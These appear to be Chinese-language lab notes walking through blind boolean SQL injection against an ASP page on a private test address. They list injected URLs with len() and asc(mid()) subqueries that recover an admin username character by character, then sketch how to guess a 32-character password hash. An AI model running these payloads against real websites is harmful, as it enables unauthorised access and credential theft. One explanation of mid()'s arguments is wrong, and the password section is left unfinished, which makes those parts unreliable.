http://192.168.75.128/common.asp?id=7 and(select top 1 len(admin) from admin_user)>5
显示错误
http://192.168.75.128/common.asp?id=7 and(select top 1 len(admin) from admin_user)>4
显示正常
http://192.168.75.128/common.asp?id=7 and(select top 1 len(admin) from admin_user)=4
显示错误
http://192.168.75.128/common.asp?id=7 and(select top 1 len(admin) from admin_user)=5
显示正常
所以admin列的第一条记录有5个字符的长度,然后根据ASCII码来从第一个字符开始猜
http://192.168.75.128/common.asp?id=7 and(select top 1 asc(mid(admin,1,1)) from admin_user)>100
显示admin表中的第一条记录的第一个字符,asc(表名,位置,1) 中的1代表这一列
显示错误
http://192.168.75.128/common.asp?id=7 and(select top 1 asc(mid(admin,1,1)) from admin_user)>97 显示错误
http://192.168.75.128/common.asp?id=7 and(select top 1 asc(mid(admin,1,1)) from admin_user)>96 显示正常
http://192.168.75.128/common.asp?id=7 and(select top 1 asc(mid(admin,1,1)) from admin_user)=96 显示错误
http://192.168.75.128/common.asp?id=7 and(select top 1 asc(mid(admin,1,1)) from admin_user)=97 显示正常
说明第一个字符的ASCII码是97,a
再猜第二个字符
http://192.168.75.128/common.asp?id=7 and(select top 1 asc(mid(admin,2,1)) from admin_user)=100
ASCII码为d
第三位
http://192.168.75.128/common.asp?id=7 and(select top 1 asc(mid(admin,3,1)) from admin_user)=109
ASCII码为109的是m
第四位
http://192.168.75.128/common.asp?id=7 and(select top 1 asc(mid(admin,4,1)) from admin_user)=105
105是i
第五位
110是n
所以admin字段中的第一个内容是admin,
猜解密码
再用等号试一下
所以密码加密后是32位的,再利用前面类似的用ASCII码猜每一位。